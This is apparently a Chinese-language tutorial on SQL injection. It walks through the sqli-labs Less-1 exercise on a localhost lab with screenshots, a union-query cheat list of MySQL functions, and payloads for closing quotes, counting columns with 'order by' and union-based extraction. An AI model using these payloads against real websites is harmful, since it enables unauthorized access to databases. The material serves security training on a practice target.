SQL注入详解及技巧
Tip小技巧 :在白盒测试的过程中,在sql语句的下一句加上 echo $sql. '<br>'; 可以在页面中输出完整的sql语句
效果图 :
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" alt="" />
查询数据库信息:
以下用法均为:?id=1 and 1=2 union select 1,2,查询词
version() 当前使用的数据库版本
user() 当前使用数据库的用户
database() 当前使用的数据库名
@@version_compile_os 当前使用的数据库所在的操作系统版本
current_date 当前数据库的日期
less-1:
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任意输入一个id进行测试: http://127.0.0.1/sqli-labs-master/Less-1/ ?id=
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" alt="" />
可以看到sql语句为 SELECT * FROM users WHERE id='' LIMIT ,
构造闭合语句 http://127.0.0.1/sqli-labs-master/Less-1/ ?id=' %23
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" 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测试字段数: http://127.0.0.1/sqli-labs-master/Less-1/ ?id=-' order by 3 %23 得到字段数为3个字段
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KacoIj5zh6hh+kb09ZTp8+ffr0afsoP3zlQ9m3JHNURS2YSQ+g8pIj3J912Du2ZsrDKdgR8jWpdhr74FQpWh9aOWc84ccu58yoaHGqJGkNyudg8pFKB3zF2o/PSfrcSRrkcgNop7GrL2vAZzzXE0fr/wHvq+GsPYCPYgAAAABJRU5ErkJggg==" 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爆库: http://127.0.0.1/sqli-labs-master/Less-1/ ?id=-' UNION SELECT 1,2,3 %23 得到可查询的字段数为2和3
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